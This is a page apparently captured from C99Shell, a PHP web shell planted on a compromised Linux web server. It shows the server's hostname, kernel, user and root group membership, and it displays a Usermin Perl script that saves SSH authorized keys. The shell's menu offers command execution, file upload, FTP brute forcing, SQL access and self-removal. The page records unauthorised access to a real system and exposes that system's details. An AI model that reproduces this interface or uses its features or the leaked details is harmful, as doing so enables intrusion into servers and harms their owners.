!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/usermin/ssh/   drwxr-xr-x
Free 28.58 GB of 117.98 GB (24.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     save_auth.cgi (1.82 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# save_auth.cgi
# Save, create or delete an authorized key

require './ssh-lib.pl';
&ReadParse();
@auths = &list_auths();
if ($in{'new'}) {
    $auth = { 'type' => $in{'type'} };
    }
else {
    $auth = $auths[$in{'idx'}];
    }

if ($in{'delete'}) {
    # Just delete this authorized key
    &delete_auth($auth);
    }
else {
    # Validate inputs
    &error_setup($text{'auth_err'});
    $in{'name'} =~ /^\S+$/ || &error($text{'auth_ename'});
    $auth->{'name'} = $in{'name'};
    if ($auth->{'type'} == 1) {
        $in{'bits'} =~ /^\d+$/ || &error($text{'auth_ebits'});
        $auth->{'bits'} = $in{'bits'};
        $in{'exp'} =~ /^\d+$/ || &error($text{'auth_eexp'});
        $auth->{'exp'} = $in{'exp'};
        }
    else {
        $auth->{'keytype'} = $in{'keytype'};
        }
    $in{'key'} =~ s/\s//g;
    if ($auth->{'type'} == 1) {
        $in{'key'} =~ /^\d+$/ || &error($text{'auth_ekey'});
        }
    else {
        $in{'key'} =~ /^[a-z0-9\+\/=]+$/i || &error($text{'auth_ekey2'});
        }
    $auth->{'key'} = $in{'key'};

    # Validate option inputs
    &parse_options($auth->{'opts'}, \%opts);
    if ($in{'from_def'}) {
        delete($opts{'from'});
        }
    else {
        $opts{'from'} = [ join(",", split(/\s+/, $in{'from'})) ];
        }
    if ($in{'command'}) {
        $opts{'command'} = [ $in{'command'} ];
        }
    else {
        delete($opts{'command'});
        }
    if ($in{'noport'}) { $opts{'no-port-forwarding'} = [ undef ]; }
    else { delete($opts{'no-port-forwarding'}); }
    if ($in{'nox11'}) { $opts{'no-x11-forwarding'} = [ undef ]; }
    else { delete($opts{'no-x11-forwarding'}); }
    if ($in{'noagent'}) { $opts{'no-agent-forwarding'} = [ undef ]; }
    else { delete($opts{'no-agent-forwarding'}); }
    if ($in{'nopty'}) { $opts{'no-pty'} = [ undef ]; }
    else { delete($opts{'no-pty'}); }
    $auth->{'opts'} = &join_options(\%opts);

    # Create or save the authorized key
    if ($in{'new'}) {
        &create_auth($auth);
        }
    else {
        &modify_auth($auth);
        }
    }
&redirect("list_auths.cgi");


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0074 ]--